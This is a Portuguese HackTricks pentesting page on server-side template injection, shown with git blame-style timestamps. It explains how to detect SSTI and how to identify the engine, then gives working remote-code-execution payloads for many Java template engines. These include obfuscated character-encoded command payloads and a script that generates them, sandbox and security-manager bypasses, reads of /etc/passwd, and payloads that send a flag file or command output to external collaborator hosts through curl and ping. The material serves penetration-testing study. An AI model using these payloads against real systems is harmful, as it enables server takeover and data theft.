hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

1038 lines
54 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# SSTI (Injeção de Modelo do Lado do Servidor)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
2022-10-25 15:56:49 +00:00
2023-06-06 18:56:34 +00:00
[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2023-06-06 18:56:34 +00:00
## O que é injeção de modelo do lado do servidor?
2023-06-06 18:56:34 +00:00
Uma injeção de modelo do lado do servidor ocorre quando um invasor é capaz de usar a sintaxe nativa do modelo para injetar uma carga maliciosa em um modelo, que é então executado no lado do servidor.
2023-06-06 18:56:34 +00:00
Os **motores de modelo** são projetados para **gerar páginas da web** combinando modelos **fixos** com dados **voláteis**. Os ataques de injeção de modelo do lado do servidor podem ocorrer quando a **entrada do usuário** é concatenada diretamente **em um modelo**, em vez de ser passada como dados. Isso permite que os invasores **injetem diretivas de modelo arbitrárias** para manipular o motor de modelo, muitas vezes permitindo que eles assumam **o controle completo do servidor**.
2023-06-06 18:56:34 +00:00
Um exemplo de código vulnerável pode ser visto abaixo:
```php
$output = $twig->render("Dear " . $_GET['name']);
```
No exemplo anterior, **parte do modelo** em si está sendo **gerada dinamicamente** usando o parâmetro `GET` `name`. Como a sintaxe do modelo é avaliada no lado do servidor, isso potencialmente permite que um invasor coloque uma carga útil de injeção de modelo do lado do servidor dentro do parâmetro `name` da seguinte forma:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
2023-06-06 18:56:34 +00:00
## Construindo um ataque de injeção de modelo do lado do servidor
2021-06-07 09:30:58 +00:00
![](../../.gitbook/assets/ssti-methodology-diagram.png)
2023-06-06 18:56:34 +00:00
### Detectar
Assim como em qualquer vulnerabilidade, o primeiro passo para a exploração é ser capaz de encontrá-la. Talvez a abordagem inicial mais simples seja tentar **fuzzing no modelo** injetando uma sequência de caracteres especiais comumente usados em expressões de modelo, como o poliglota **`${{<%[%'"}}%\`.**\
2023-06-06 18:56:34 +00:00
Para verificar se o servidor é vulnerável, você deve **observar as diferenças** entre a resposta com **dados regulares** no parâmetro e a **carga útil fornecida**.\
Se um **erro for lançado**, será bastante fácil descobrir que **o servidor é vulnerável** e até mesmo qual **motor está sendo executado**. Mas você também pode encontrar um servidor vulnerável se estivesse **esperando** que ele **refletisse** a carga útil fornecida e ela **não estiver sendo refletida** ou se houver alguns **caracteres ausentes** na resposta.
2023-06-06 18:56:34 +00:00
**Detectar - Contexto de texto simples**
2023-06-06 18:56:34 +00:00
A entrada fornecida está sendo **renderizada e refletida** na resposta. Isso é facilmente **confundido com uma vulnerabilidade simples** [**XSS**](../xss-cross-site-scripting/), mas é fácil diferenciar se você tentar definir **operações matemáticas** dentro de uma expressão de modelo:
```
{{7*7}}
${7*7}
<%= 7*7 %>
2021-06-25 20:23:31 +00:00
${{7*7}}
#{7*7}
2022-09-26 02:13:30 +00:00
*{7*7}
```
2023-06-06 18:56:34 +00:00
**Detectar - Contexto do código**
2023-06-06 18:56:34 +00:00
Nesses casos, a **entrada do usuário** está sendo colocada **dentro** de uma **expressão de modelo**:
```python
engine.render("Hello {{"+greeting+"}}", data)
```
O acesso à página pode ser feito por meio de uma URL como: `http://vulnerable-website.com/?greeting=data.username`
Se você **alterar** o parâmetro **`greeting`** para um **valor diferente**, a **resposta não conterá o nome de usuário**, mas se você acessar algo como: `http://vulnerable-website.com/?greeting=data.username}}hello`, então **a resposta conterá o nome de usuário** (se os caracteres de expressão de fechamento do modelo fossem **`}}`**).\
2023-06-06 18:56:34 +00:00
Se ocorrer um **erro** durante esses testes, será mais fácil descobrir que o servidor é vulnerável.
2023-06-06 18:56:34 +00:00
### Identificação
2023-06-06 18:56:34 +00:00
Depois de detectar o potencial de injeção de modelo, o próximo passo é identificar o mecanismo de modelo.\
Embora existam muitas linguagens de modelo, muitas delas usam uma sintaxe muito semelhante que é especificamente escolhida para não entrar em conflito com os caracteres HTML.
2023-06-06 18:56:34 +00:00
Se você tiver sorte, o servidor estará **imprimindo os erros** e você poderá encontrar o **mecanismo** usado **dentro** dos erros. Alguns payloads possíveis que podem causar erros:
| `${}` | `{{}}` | `<%= %>` |
| ----------- | ------------ | --------------- |
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
| `${7*7}` | `{{7*7}}` | \`\` |
2023-06-06 18:56:34 +00:00
Caso contrário, você precisará testar manualmente **diferentes payloads específicos da linguagem** e estudar como eles são interpretados pelo mecanismo de modelo. Uma maneira comum de fazer isso é injetar operações matemáticas arbitrárias usando sintaxe de diferentes mecanismos de modelo. Você pode então observar se eles são avaliados com sucesso. Para ajudar nesse processo, você pode usar uma árvore de decisão semelhante à seguinte:
![](<../../.gitbook/assets/image (272).png>)
2023-06-06 18:56:34 +00:00
### Exploração
2023-06-06 18:56:34 +00:00
**Leitura**
2023-06-06 18:56:34 +00:00
O primeiro passo após encontrar a injeção de modelo e identificar o mecanismo de modelo é ler a documentação. As áreas-chave de interesse são:
2023-06-06 18:56:34 +00:00
* Seções 'Para autores de modelos' que cobrem a sintaxe básica.
* 'Considerações de segurança' - é provável que quem desenvolveu o aplicativo que você está testando não tenha lido isso, e pode conter algumas dicas úteis.
* Listas de métodos, funções, filtros e variáveis integrados.
* Listas de extensões/plugins - alguns podem estar habilitados por padrão.
2023-06-06 18:56:34 +00:00
**Exploração**
2023-06-06 18:56:34 +00:00
Assumindo que nenhum exploit tenha se apresentado, o próximo passo é **explorar o ambiente** para descobrir exatamente o que **você tem acesso**. Você pode esperar encontrar tanto **objetos padrão** fornecidos pelo mecanismo de modelo, quanto **objetos específicos do aplicativo** passados para o modelo pelo desenvolvedor. Muitos sistemas de modelo expõem um objeto 'self' ou namespace contendo tudo em escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.
2023-06-06 18:56:34 +00:00
Se não houver um objeto self integrado, você terá que forçar o nome das variáveis usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) e a coleção de wordlists do Burp Intruder.
2023-06-06 18:56:34 +00:00
Os objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes modelos dentro de um aplicativo, portanto, esse processo deve ser aplicado idealmente a cada modelo distinto individualmente.
2023-06-06 18:56:34 +00:00
**Ataque**
2023-06-06 18:56:34 +00:00
Neste ponto, você deve ter uma **ideia clara da superfície de ataque disponível** e ser capaz de prosseguir com técnicas tradicionais de auditoria de segurança, revisando cada função em busca de vulnerabilidades exploráveis. É importante abordar isso no contexto do aplicativo mais amplo - algumas funções podem ser usadas para explorar recursos específicos do aplicativo. Os exemplos a seguir usarão a injeção de modelo para acionar a criação arbitrária de objetos, leitura/gravação arbitrária de arquivos, inclusão remota de arquivos, divulgação de informações e vulnerabilidades de escalonamento de privilégios.
2023-06-06 18:56:34 +00:00
## Ferramentas
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### [Tplmap](https://github.com/epinna/tplmap)
2021-06-25 12:34:30 +00:00
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
## Explorações
2023-06-06 18:56:34 +00:00
### Genérico
2021-06-27 20:19:16 +00:00
Nesta **lista de palavras**, você pode encontrar **variáveis definidas** nos ambientes de alguns dos motores mencionados abaixo:
2021-06-27 20:19:16 +00:00
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
2022-05-01 13:25:53 +00:00
### Java
2021-06-25 12:34:30 +00:00
2023-06-06 18:56:34 +00:00
**Java - Injeção básica**
2021-06-25 12:34:30 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
2023-06-06 18:56:34 +00:00
**Java - Recuperar as variáveis de ambiente do sistema**
Para recuperar as variáveis de ambiente do sistema em Java, podemos usar a classe `System.getenv()`. Essa classe retorna um mapa que contém todas as variáveis de ambiente do sistema e seus valores correspondentes. Podemos iterar sobre o mapa para obter todas as variáveis de ambiente e seus valores.
2021-06-25 12:34:30 +00:00
2023-06-06 18:56:34 +00:00
```java
Map<String, String> env = System.getenv();
for (String envName : env.keySet()) {
System.out.format("%s=%s%n", envName, env.get(envName));
}
```
2021-06-25 12:34:30 +00:00
Isso imprimirá todas as variáveis de ambiente e seus valores correspondentes no console.
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.System).getenv()}
```
2023-06-06 18:56:34 +00:00
**Java - Recuperar /etc/passwd**
2021-06-25 12:34:30 +00:00
Este é um exemplo de como explorar uma vulnerabilidade de Injeção de Modelo do Lado do Servidor (SSTI) em um aplicativo Java para recuperar o arquivo `/etc/passwd` do servidor. A vulnerabilidade SSTI ocorre quando um aplicativo injeta código malicioso em um modelo do lado do servidor.
2021-06-25 12:34:30 +00:00
O código abaixo injeta uma expressão maliciosa `${new java.util.Scanner(Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()).useDelimiter("\\A").next()}` em um modelo do lado do servidor. Essa expressão executa o comando `cat /etc/passwd` no servidor e retorna o conteúdo do arquivo `/etc/passwd`.
2023-06-06 18:56:34 +00:00
```
http://localhost:8080/?name=${new java.util.Scanner(Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()).useDelimiter("\\A").next()}
```
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2022-05-01 13:25:53 +00:00
### FreeMarker (Java)
Você pode testar suas cargas úteis em [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
2021-06-25 12:34:30 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
2023-06-06 18:56:34 +00:00
* `#{7*7} = 49 -- (legado)`
* `${7*'7'} Nada`
* `${foobar}`
2021-06-25 12:34:30 +00:00
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
2023-06-06 18:56:34 +00:00
**Freemarker - Bypass de Sandbox**
⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30
2021-06-25 12:34:30 +00:00
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2021-06-25 12:34:30 +00:00
2023-06-06 18:56:34 +00:00
* Na seção FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
2022-05-01 13:25:53 +00:00
### Velocity (Java)
2021-06-25 12:34:30 +00:00
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2021-06-25 12:34:30 +00:00
2023-06-06 18:56:34 +00:00
* Na seção Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
2022-05-01 13:25:53 +00:00
### Thymeleaf (Java)
2023-06-06 18:56:34 +00:00
A expressão de teste típica para SSTI é `${7*7}`. Essa expressão também funciona no Thymeleaf. Se você quiser obter execução remota de código, pode usar uma das seguintes expressões de teste:
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
2023-06-06 18:56:34 +00:00
No entanto, como mencionamos antes, as expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em uma localização diferente no modelo, o Thymeleaf suporta _inline de expressão_. Para usar esse recurso, você deve colocar uma expressão dentro de `[[...]]` ou `[(...)]` (selecione um ou outro dependendo se você precisa escapar símbolos especiais). Portanto, uma carga útil de detecção SSTI simples para Thymeleaf seria `[[${7*7}]]`.
As chances de que a carga útil de detecção acima funcione são, no entanto, muito baixas. As vulnerabilidades SSTI geralmente ocorrem quando um modelo é gerado dinamicamente no código. O Thymeleaf, por padrão, não permite tais modelos gerados dinamicamente e todos os modelos devem ser criados anteriormente. Portanto, se um desenvolvedor quiser criar um modelo a partir de uma string _on the fly_, eles precisariam criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.
2023-06-06 18:56:34 +00:00
Se olharmos mais profundamente na documentação do mecanismo de modelo Thymeleaf, encontraremos um recurso interessante chamado _**pré-processamento de expressão**_. As expressões colocadas entre dois sublinhados (`__...__`) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf:
2021-06-25 12:34:30 +00:00
```java
#{selection.__${sel.code}__}
```
2023-06-06 18:56:34 +00:00
**Exemplo vulnerável**
```markup
<a th:href="@{__${path}__}" th:title="${title}">
2022-05-18 13:29:23 +00:00
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
2023-06-06 18:56:34 +00:00
**Mais informações**
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
2022-05-18 13:29:23 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Framework Spring (Java)
2022-09-26 02:13:30 +00:00
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
2023-06-06 18:56:34 +00:00
**Burlar filtros**
2023-01-13 17:40:30 +00:00
2023-06-06 18:56:34 +00:00
Múltiplas expressões de variáveis podem ser usadas, se `${...}` não funcionar, tente `#{...}`, `*{...}`, `@{...}` ou `~{...}`.
2023-01-13 17:40:30 +00:00
2023-06-06 18:56:34 +00:00
* Ler `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2023-06-06 18:56:34 +00:00
* Script personalizado para geração de payload
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
2023-06-06 18:56:34 +00:00
**Mais Informações**
2023-01-13 17:40:30 +00:00
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
2023-06-06 18:56:34 +00:00
### Manipulação de Visualização do Spring (Java)
2021-06-25 12:34:30 +00:00
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
2022-05-18 13:29:23 +00:00
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2020-09-22 09:07:48 +00:00
2022-05-01 13:25:53 +00:00
### Pebble (Java)
2021-06-25 12:34:30 +00:00
* `{{ someString.toUPPERCASE() }}`
2023-06-06 18:56:34 +00:00
Versão antiga do Pebble ( < versão 3.0.9):
2021-06-25 12:34:30 +00:00
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
2023-06-06 18:56:34 +00:00
Nova versão do Pebble:
2021-06-25 12:34:30 +00:00
```java
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% set cmd = 'id' %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2021-06-25 12:34:30 +00:00
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
2021-06-25 12:34:30 +00:00
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
2021-06-25 12:34:30 +00:00
```
2022-05-01 13:25:53 +00:00
### Jinjava (Java)
2021-06-25 12:34:30 +00:00
Jinjava é uma linguagem de modelo Java que é usada para renderizar modelos. É uma biblioteca Java que pode ser usada em aplicativos Java e em outras plataformas que suportam Java. Jinjava é uma linguagem de modelo segura que pode ser usada para evitar ataques de injeção de modelo. Ele fornece recursos como herança de modelo, macros, filtros e muito mais. Jinjava é uma ótima opção para usar em aplicativos Java que precisam de renderização de modelo segura.
2021-06-25 12:34:30 +00:00
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
2023-06-06 18:56:34 +00:00
Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
2021-06-25 12:34:30 +00:00
2023-06-06 18:56:34 +00:00
**Jinjava - Execução de Comandos**
2021-06-25 12:34:30 +00:00
2023-06-06 18:56:34 +00:00
Corrigido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
2021-06-25 12:34:30 +00:00
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Hubspot - HuBL (Java)
2021-06-26 13:19:42 +00:00
2023-06-06 18:56:34 +00:00
* Delimitadores de declaração `{% %}`
* Delimitadores de expressão `{{ }}`
* Delimitadores de comentário `{# #}`
2022-04-06 08:57:29 +00:00
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
2021-06-26 13:19:42 +00:00
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
2022-04-06 08:57:29 +00:00
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
2021-06-26 13:19:42 +00:00
2023-06-06 18:56:34 +00:00
Procure por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o [projeto Jinjava no Github](https://github.com/HubSpot/jinjava/).
2021-06-26 13:19:42 +00:00
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-28 23:27:22 +00:00
2022-05-01 13:25:53 +00:00
2022-06-18 20:54:28 +00:00
2022-09-09 11:57:02 +00:00
2022-09-26 09:52:47 +00:00
2022-04-06 08:57:29 +00:00
{% raw %}
2022-02-09 16:22:44 +00:00
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
2022-04-06 08:57:29 +00:00
{% endraw %}
{{ji.render('{{1*2}}')}}
2021-06-26 13:19:42 +00:00
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
2022-04-06 08:57:29 +00:00
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2021-06-26 13:19:42 +00:00
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2021-06-26 13:19:42 +00:00
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
2023-06-06 18:56:34 +00:00
### Linguagem de Expressão - EL (Java)
2021-06-07 09:30:58 +00:00
2021-06-26 13:24:50 +00:00
* `${"aaaa"}` - "aaaa"
2022-04-05 22:24:52 +00:00
* `${99999+1}` - 100000.
2021-06-26 13:24:50 +00:00
* `#{7*7}` - 49
2021-06-26 14:55:22 +00:00
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
2021-06-26 13:24:50 +00:00
2023-06-06 18:56:34 +00:00
EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas da web) se comunique com a lógica da aplicação (beans gerenciados). O EL é usado por **várias tecnologias JavaEE**, como a tecnologia JavaServer Faces, a tecnologia JavaServer Pages (JSP) e a Injeção de Dependência e Contextos para Java EE (CDI).\
Verifique a seguinte página para aprender mais sobre a **exploração dos interpretadores EL**:
2021-06-07 09:30:58 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-09-26 09:52:47 +00:00
### Groovy (Java)
2023-06-06 18:56:34 +00:00
Este bypass do Security Manager foi retirado deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
2022-09-26 09:52:47 +00:00
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
